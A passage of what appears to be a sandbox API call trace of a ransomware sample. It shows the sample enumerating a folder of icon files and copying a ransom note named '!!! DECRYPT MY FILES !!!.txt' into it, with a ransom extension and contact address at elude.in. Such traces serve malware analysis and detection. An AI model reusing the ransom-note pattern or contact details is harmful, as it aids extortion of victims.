cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.339] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.339] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.339] GetProcessHeap () returned 0x630000 [0092.339] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d5440, Size=0x38) returned 0x6d4f40 [0092.339] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0092.339] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0092.340] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Graphics", cAlternateFileName="")) returned 1 [0092.340] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\588bce7c90097ed212\\Graphics\\", len=0x1f | out: pbstr=0x6ebf3a0*="C:\\588bce7c90097ed212\\Graphics\\") returned 1 [0092.340] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Graphics\\", cchLength=0x1f | out: lpsz="c:\\588bce7c90097ed212\\graphics\\") returned 0x1f [0092.340] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0092.340] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0092.340] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5580 [0092.677] FindNextFileW (in: hFindFile=0x6d5580, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.677] FindNextFileW (in: hFindFile=0x6d5580, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico", cAlternateFileName="")) returned 1 [0092.677] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\588bce7c90097ed212\\Graphics\\Print.ico", len=0x28 | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 1 [0092.677] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Graphics\\Print.ico", cchLength=0x28 | out: lpsz="c:\\588bce7c90097ed212\\graphics\\print.ico") returned 0x28 [0092.677] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.677] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.677] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.677] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.677] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0092.678] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0092.678] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xf36f6419, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5280 [0092.678] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0092.678] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\588bce7c90097ed212\\graphics\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0092.681] GetProcessHeap () returned 0x630000 [0092.681] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d5200, Size=0x38) returned 0x6d5000 [0092.681] FindNextFileW (in: hFindFile=0x6d5580, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico", cAlternateFileName="")) returned 1 [0092.681] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\graphics\\print.ico", psz="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico", len=0x2a | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 1 [0092.681] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico", cchLength=0x2a | out: lpsz="c:\\588bce7c90097ed212\\graphics\\rotate1.ico") returned 0x2a [0092.681] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.681] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.681] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.681] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.681] GetProcessHeap () returned 0x630000 [0092.681] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d5000, Size=0x3c) returned 0x69b018 [0092.681] FindNextFileW (in: hFindFile=0x6d5580, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate2.ico", cAlternateFileName="")) returned 1 [0092.682] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\graphics\\rotate1.ico", psz="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico", len=0x2a | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 1 [0092.682] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico", cchLength=0x2a | out: lpsz="c:\\588bce7c90097ed212\\graphics\\rotate2.ico") returned 0x2a [0092.682] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.682] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.682] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.682] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.682] GetProcessHeap () returned 0x630000 [0092.682] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69b018, Size=0x40) returned 0x69ad48 [0092.682] FindNextFileW (in: hFindFile=0x6d5580, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico", cAlternateFileName="")) returned 1 [0092.682] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\graphics\\rotate2.ico", psz="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico", len=0x2a | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 1 [0092.682] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico", cchLength=0x2a | out: lpsz="c:\\588bce7c90097ed212\\graphics\\rotate3.ico") returned 0x2a [0092.682] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.682] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.683] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.683] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.683] GetProcessHeap () returned 0x630000 [0092.683] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69ad48, Size=0x44) returned 0x679330 [0092.683] FindNextFileW (in: hFindFile=0x6d5580, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico", cAlternateFileName="")) returned 1 [0092.683] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\graphics\\rotate3.ico", psz="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico", len=0x2a | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 1 [0092.683] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico", cchLength=0x2a | out: lpsz="c:\\588bce7c90097ed212\\graphics\\rotate4.ico") returned 0x2a [0092.683] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.683] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.683] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.683] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.683] GetProcessHeap () returned 0x630000 [0092.683] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x679330, Size=0x48) returned 0x679240 [0092.684] FindNextFileW (in: hFindFile=0x6d5580, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico", cAlternateFileName="")) returned 1 [0092.684] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\graphics\\rotate4.ico", psz="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico", len=0x2a | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 1 [0092.684] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico", cchLength=0x2a | out: lpsz="c:\\588bce7c90097ed212\\graphics\\rotate5.ico") returned 0x2a [0092.684] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.684] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.684] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.684] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.684] GetProcessHeap () returned 0x630000 [0092.684] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x679240, Size=0x4c) returned 0x6ef208 [0092.684] FindNextFileW (in: hFindFile=0x6d5580, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico", cAlternateFileName="")) returned 1 [0092.684] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\graphics\\rotate5.ico", psz="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico", len=0x2a | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 1 [0092.684] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico", cchLength=0x2a | out: lpsz="c:\\588bce7c90097ed212\\graphics\\rotate6.ico") returned 0x2a [0092.684] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.685] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.685] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.685] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.685] GetProcessHeap () returned 0x630000 [0092.685] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ef208, Size=0x50) returned 0x6ee918 [0092.685] FindNextFileW (in: hFindFile=0x6d5580, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico", cAlternateFileName="")) returned 1 [0092.685] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\graphics\\rotate6.ico", psz="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico", len=0x2a | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 1 [0092.685] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico", cchLength=0x2a | out: lpsz="c:\\588bce7c90097ed212\\graphics\\rotate7.ico") returned 0x2a [0092.685] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.685] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.685] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.685] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.686] GetProcessHeap () returned 0x630000 [0092.686] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ee918, Size=0x54) returned 0x68e1d8 [0092.686] FindNextFileW (in: hFindFile=0x6d5580, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico", cAlternateFileName="")) returned 1 [0092.686] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\graphics\\rotate7.ico", psz="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico", len=0x2a | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 1 [0092.686] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico", cchLength=0x2a | out: lpsz="c:\\588bce7c90097ed212\\graphics\\rotate8.ico") returned 0x2a [0092.686] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.686] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.686] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.686] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.686] GetProcessHeap () returned 0x630000 [0092.686] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68e1d8, Size=0x58) returned 0x68e6b8 [0092.686] FindNextFileW (in: hFindFile=0x6d5580, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico", cAlternateFileName="")) returned 1 [0092.686] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\graphics\\rotate8.ico", psz="C:\\588bce7c90097ed212\\Graphics\\Save.ico", len=0x27 | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 1 [0092.686] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Graphics\\Save.ico", cchLength=0x27 | out: lpsz="c:\\588bce7c90097ed212\\graphics\\save.ico") returned 0x27 [0092.687] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.687] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.687] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.687] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.687] GetProcessHeap () returned 0x630000 [0092.687] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68e6b8, Size=0x5c) returned 0x6e8158 [0092.687] FindNextFileW (in: hFindFile=0x6d5580, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x8f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico", cAlternateFileName="")) returned 1 [0092.687] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\graphics\\save.ico", psz="C:\\588bce7c90097ed212\\Graphics\\Setup.ico", len=0x28 | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 1 [0092.687] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Graphics\\Setup.ico", cchLength=0x28 | out: lpsz="c:\\588bce7c90097ed212\\graphics\\setup.ico") returned 0x28 [0092.687] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, 